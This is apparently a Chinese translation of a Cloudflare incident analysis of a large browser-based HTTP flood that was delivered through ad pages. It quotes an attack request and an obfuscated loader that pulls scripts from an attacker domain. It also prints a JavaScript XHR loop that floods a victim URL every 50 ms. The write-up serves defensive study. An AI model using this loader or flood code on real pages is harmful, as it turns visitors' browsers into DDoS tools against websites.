http://p3.qhimg.com/t01a3b25fcf405eb283.png

CloudFlare一直是DDoS的目标。我们可以看到僵尸网络使用了各种攻击方式,从DNS反射攻击到 L7 HTTP 洪水攻击。

最近一个不寻常的洪水引起了我们的注意。一位工程师注意到了大量的针对我们某位客户的HTTP请求。

http://p4.qhimg.com/t01a4f7d0243dade617.png

请求

这是一个请求:

POST /js/404.js HTTP/1.1  
Host: www.victim.com  
Connection: keep-alive  
Content-Length: 426  
Origin: http://attacksite.com  
User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.4; zh-cn; MI 4LTE Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/42.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1  
Content-Type: application/x-www-form-urlencoded  
Accept: */*  
Referer: http://attacksite.com/html/part/86.html  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,en-US;q=0.8
id=datadatadasssssssssssssssssssssssssssssssssssssssssssassssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadatadata

我们收到了数以百万计的类似请求,很明显是洪水攻击。我们来深入分析一下这个请求。

首先,header看起来是合法的。通常我们看到的洪水是由Python或者Ruby脚本模拟生成的,它们的Accept-Language或者User-Agent头会看起来很奇怪。但这个看起来不像。这个请求看起来是由真实的浏览器发出的请求。

接下来,注意请求是采用的POST方式,并且包含一个Origin头——这表明它是一个Ajax (XHR)的跨域调用(cross origin call)。

最后,Referer头显示出发起这些请求的来源。我们检查了这个URL,它是正确的,并且可以访问。

基于浏览器的洪水

http://p3.qhimg.com/t01bdef0208ae836873.jpg

基于浏览器的L7洪水攻击理论已经有很长时间了。对于它们的工作原理,Nick Sullivan曾作过解释

在2010年,Lavakumar Kuppan 提出了滥用浏览器的HTML5特性进行DoS攻击。然后在2013年, Jeremiah Grossman 和 Matt Johansen提出了在网页广告中嵌入恶意的JavaScript作为攻击向量。今年有一篇论文也讨论过这种攻击方式的理论成本

似乎最大的困难并不在于构造JavaScript,而是在于有效的进行分发。要进行大规模的洪水攻击,向量的分发是至关重要的,因此直到现在,我们并没有看到太多基于浏览器的大规模洪水攻击。

这就是为什么我说这次洪水非常有趣——它非常大,达到了每秒275000多个HTTP请求。

攻击页面

我们通过Referer头对来源进行了调查。调查过程是有趣的。

Referer中的链接网页看起来像是一个链接农场或者广告聚合器——你可以想象一下数十个闪烁的横幅链接集中在一个页面上。在下面的讨论中,我们称这个页面“攻击页面”。这个页面只有基本的HTML和几个简单的JavaScript文件。它加载了三个JavaScript文件,其中一个名叫count.js。它包含一些不明显的document.write语句,之后是50个空行和这段混淆代码

eval(function(p,a,c,k,e,r){e=String;if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[0-8]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('2.3("<0 4=\"5://6.anotherattacksite.7/8/1/jquery2.1\"></0>");2.3("<0 4=\"5://6.anotherattacksite.7/8/1/jquery1.1\"></0>");',[],9,'script|js|document|writeln|src|http|www|com|css'.split('|'),0,{}))

调整后显示如下

document.writeln("<script src="http://www.anotherattacksite.com/css/js/jquery2.js"></script>");  
document.writeln("<script src="http://www.anotherattacksite.com/css/js/jquery1.js"></script>");

这个jquery2.js中包含一个恶意的JavaScript。并不是太复杂,这里有一个片段:

var t_postdata='id=datadatadasssssssssssssssssssssssssssssssssssssssssssassssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadatadata';
var t_url8='http://www.victim.com/js/404.js';
function post_send() {  
    var xmlHttp=c_xmlHttp();
    xmlHttp.open("POST",t_url8,true);
    xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlHttp.send(t_postdata);
    r_send();
}
function r_send() {  
    setTimeout("post_send()", 50);
}
if(!+[1,]) { //IE下不执行。  
    var fghj=1;
} else {
    setTimeout("post_send()", 3000);
}

上面的恶意脚本就启动了一个XHR循环。

它使用了一个非常聪明的方式来检测IE。我们之前没注意到if(!+[1,])可以用来检测IE9及以上版本。

分析日志

http://p8.qhimg.com/t01062a1d1cace385bf.png

上述图表显示了洪水随着时间推移增加,峰值大概是在14:00。在那一天内我们收到了45亿个针对目标域的请求,来自于65万个不同的IP。

因为洪水很有趣,我们就写了个脚本来进一步分析了其中一部分17M大小的日志,约占总数的0.4%。

我们的系统可以从user agent中提取出设备类型——大概80%的请求来自于移动设备

72% mobile  
23% desktop  
 5% tablet

Referer中的URL没有明确的模式。域的分布相当均匀。攻击者可能持有大量域名:

27.0% http://www.attacksite1.com  
10.1% http://www.attacksite2.com  
 8.2% http://www.attacksite3.com
 3.7% http://www.attacksite4.com
 1.6% http://www.attacksite5.com
 1.2% http://www.attacksite6.com
 ...

向量分发

分析部分结束,现在开始猜测。我们无法知道为什么会有这么多移动设备访问攻击页面,但最合理的猜测它是通过广告网络分发向量。向用户提供的广告中包含恶意JavaScript。这个广告很可能位于移动应用的iframe中,或者直接是在手机浏览器中。

回顾一下,我们认为可能发生了这些内容:

用户使用智能手机打开一个应用或者打开浏览器浏览网页。

用户加载广告服务的iframe

从广告网络请求广告内容。

广告网络将请求转发给第三方

第三方是攻击页面,或者它将用户转到攻击页面

用户加载攻击页面后,页面中包含的恶意JavaScript对CloudFlare的服务器使用XHR请求发起了洪水攻击。

这样的攻击产生了一个新趋势。要防御这种类型的洪水攻击对于小型网站来说并不容易。好消息是CloudFlare能够自动处理这些攻击,从而没有洪水HTTP请求能够到达客户的基础设施。

尽管它用的方式仍然是之前的研究成果,并没有新内容,但我们认为公布这些细节有助于帮助公众了解这些,希望能够帮助到其他人。

文章原文链接:https://www.anquanke.com/post/id/82659